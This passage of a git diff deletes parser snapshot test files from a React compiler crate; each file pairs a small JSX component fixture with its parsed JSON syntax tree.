-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          273,
-                          276
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        272,
-                        277
-                      ]
-                    },
-                    "children": [
-                      {
-                        "type": "JSXExpressionContainer",
-                        "expression": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            278,
-                            279
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          277,
-                          280
-                        ]
-                      }
-                    ],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          282,
-                          285
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        280,
-                        286
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      272,
-                      286
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    272,
-                    287
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                266,
-                291
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              250,
-              291
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    302,
-                    305
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "value",
-                      "loc": null,
-                      "range": [
-                        306,
-                        311
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          313,
-                          314
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        312,
-                        315
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      306,
-                      315
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        316,
-                        324
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          326,
-                          334
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        325,
-                        335
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      316,
-                      335
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  301,
-                  338
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                301,
-                338
-              ]
-            },
-            "loc": null,
-            "range": [
-              294,
-              339
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          341
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        341
-      ],
-      "loc": null,
-      "range": [
-        0,
-        341
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    341
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-maybe-mutates-hook-return-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-maybe-mutates-hook-return-value.js.snap
deleted file mode 100644
index 656e3ce56376..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-maybe-mutates-hook-return-value.js.snap
+++ /dev/null
@@ -1,296 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/function-expression-maybe-mutates-hook-return-value.js
----
-Input:
-function Component(props) {
-  const id = useSelectedEntitytId();
-  // this example should infer `id` as mutable, and then infer `onLoad` as mutable,
-  // and be rejected because onLoad cannot be passed as a frozen value in the JSX.
-  // however, we likely have to allow this example to work, because hook return
-  // values are generally immutable in practice and are also widely referenced in
-  // callbacks.
-  const onLoad = () => {
-    log(id);
-  };
-  return <Foo onLoad={onLoad} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "id",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useSelectedEntitytId",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      41,
-                      61
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    41,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              64
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onLoad",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    418,
-                    424
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "log",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              439,
-                              442
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "id",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                443,
-                                445
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            439,
-                            446
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          439,
-                          447
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      433,
-                      451
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    427,
-                    451
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    427,
-                    451
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  418,
-                  451
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              412,
-              452
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    463,
-                    466
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onLoad",
-                      "loc": null,
-                      "range": [
-                        467,
-                        473
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onLoad",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          475,
-                          481
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        474,
-                        482
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      467,
-                      482
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  462,
-                  485
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                462,
-                485
-              ]
-            },
-            "loc": null,
-            "range": [
-              455,
-              486
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          488
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        488
-      ],
-      "loc": null,
-      "range": [
-        0,
-        488
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    488
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-with-store-to-parameter.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-with-store-to-parameter.js.snap
deleted file mode 100644
index 46602651fbbd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-with-store-to-parameter.js.snap
+++ /dev/null
@@ -1,393 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/function-expression-with-store-to-parameter.js
----
-Input:
-function Component(props) {
-  const mutate = (object, key, value) => {
-    object.updated = true;
-    object[key] = value;
-  };
-  const x = makeObject(props);
-  mutate(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "mutate",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "object",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        46,
-                        52
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "key",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        54,
-                        57
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "value",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        59,
-                        64
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "object",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                75,
-                                81
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "updated",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                82,
-                                89
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              75,
-                              89
-                            ]
-                          },
-                          "right": {
-                            "type": "BooleanLiteral",
-                            "value": true,
-                            "loc": null,
-                            "range": [
-                              92,
-                              96
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            75,
-                            96
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          97
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "object",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                102,
-                                108
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "key",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                109,
-                                112
-                              ]
-                            },
-                            "computed": true,
-                            "loc": null,
-                            "range": [
-                              102,
-                              113
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "value",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              116,
-                              121
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            102,
-                            121
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          122
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      69,
-                      126
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    126
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    126
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  126
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              127
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    136,
-                    137
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      140,
-                      150
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        151,
-                        156
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    140,
-                    157
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  136,
-                  157
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              130,
-              158
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  161,
-                  167
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    168,
-                    169
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                161,
-                170
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              161,
-              171
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                181,
-                182
-              ]
-            },
-            "loc": null,
-            "range": [
-              174,
-              183
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          185
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        185
-      ],
-      "loc": null,
-      "range": [
-        0,
-        185
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    185
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-param-assignment-pattern.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-param-assignment-pattern.js.snap
deleted file mode 100644
index bca3d0a3b58c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-param-assignment-pattern.js.snap
+++ /dev/null
@@ -1,162 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/function-param-assignment-pattern.js
----
-Input:
-function Component(x = "default", y = [{}]) {
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "AssignmentPattern",
-          "left": {
-            "type": "Identifier",
-            "name": "x",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              19,
-              20
-            ]
-          },
-          "right": {
-            "type": "StringLiteral",
-            "value": "default",
-            "loc": null,
-            "range": [
-              23,
-              32
-            ]
-          },
-          "loc": null,
-          "range": [
-            19,
-            32
-          ]
-        },
-        {
-          "type": "AssignmentPattern",
-          "left": {
-            "type": "Identifier",
-            "name": "y",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              34,
-              35
-            ]
-          },
-          "right": {
-            "type": "ArrayExpression",
-            "elements": [
-              {
-                "type": "ObjectExpression",
-                "properties": [],
-                "loc": null,
-                "range": [
-                  39,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              38,
-              42
-            ]
-          },
-          "loc": null,
-          "range": [
-            34,
-            42
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    57
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                55,
-                61
-              ]
-            },
-            "loc": null,
-            "range": [
-              48,
-              62
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          44,
-          64
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        64
-      ],
-      "loc": null,
-      "range": [
-        0,
-        64
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    64
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-default-function.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-default-function.js.snap
deleted file mode 100644
index 60c1e0b1a15a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-default-function.js.snap
+++ /dev/null
@@ -1,492 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/gating-test-export-default-function.js
----
-Input:
-// @gating @compilationMode(annotation)
-export default function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ExportDefaultDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "Bar",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            64,
-            67
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              68,
-              73
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "ExpressionStatement",
-              "expression": {
-                "type": "StringLiteral",
-                "value": "use forget",
-                "loc": null,
-                "range": [
-                  79,
-                  91
-                ]
-              },
-              "directive": null,
-              "loc": null,
-              "range": [
-                79,
-                92
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      103,
-                      106
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    102,
-                    107
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          113
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          114,
-                          117
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        108,
-                        117
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      107,
-                      118
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      120,
-                      123
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    118,
-                    124
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  102,
-                  124
-                ]
-              },
-              "loc": null,
-              "range": [
-                95,
-                125
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            75,
-            127
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          55,
-          127
-        ],
-        "loc": null,
-        "range": [
-          55,
-          127
-        ]
-      },
-      "loc": null,
-      "range": [
-        40,
-        127
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "NoForget",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          138,
-          146
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            147,
-            152
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    166,
-                    169
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  165,
-                  170
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        171,
-                        176
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "noForget",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        177,
-                        185
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      171,
-                      185
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    170,
-                    186
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    188,
-                    191
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  186,
-                  192
-                ]
-              },
-              "loc": null,
-              "range": [
-                165,
-                192
-              ]
-            },
-            "loc": null,
-            "range": [
-              158,
-              193
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          154,
-          195
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        129,
-        195
-      ],
-      "loc": null,
-      "range": [
-        129,
-        195
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          206,
-          209
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            210,
-            215
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                221,
-                233
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              221,
-              234
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    245,
-                    248
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  244,
-                  249
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        250,
-                        255
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        256,
-                        259
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      250,
-                      259
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    249,
-                    260
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    262,
-                    265
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  260,
-                  266
-                ]
-              },
-              "loc": null,
-              "range": [
-                244,
-                266
-              ]
-            },
-            "loc": null,
-            "range": [
-              237,
-              267
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          217,
-          269
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        197,
-        269
-      ],
-      "loc": null,
-      "range": [
-        197,
-        269
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    269
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-function-and-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-function-and-default.js.snap
deleted file mode 100644
index 14a4dd3e8112..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-function-and-default.js.snap
+++ /dev/null
@@ -1,502 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/gating-test-export-function-and-default.js
----
-Input:
-// @gating @compilationMode(annotation)
-export default function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ExportDefaultDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "Bar",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            64,
-            67
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              68,
-              73
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "ExpressionStatement",
-              "expression": {
-                "type": "StringLiteral",
-                "value": "use forget",
-                "loc": null,
-                "range": [
-                  79,
-                  91
-                ]
-              },
-              "directive": null,
-              "loc": null,
-              "range": [
-                79,
-                92
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      103,
-                      106
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    102,
-                    107
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          113
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          114,
-                          117
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        108,
-                        117
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      107,
-                      118
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      120,
-                      123
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    118,
-                    124
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  102,
-                  124
-                ]
-              },
-              "loc": null,
-              "range": [
-                95,
-                125
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            75,
-            127
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          55,
-          127
-        ],
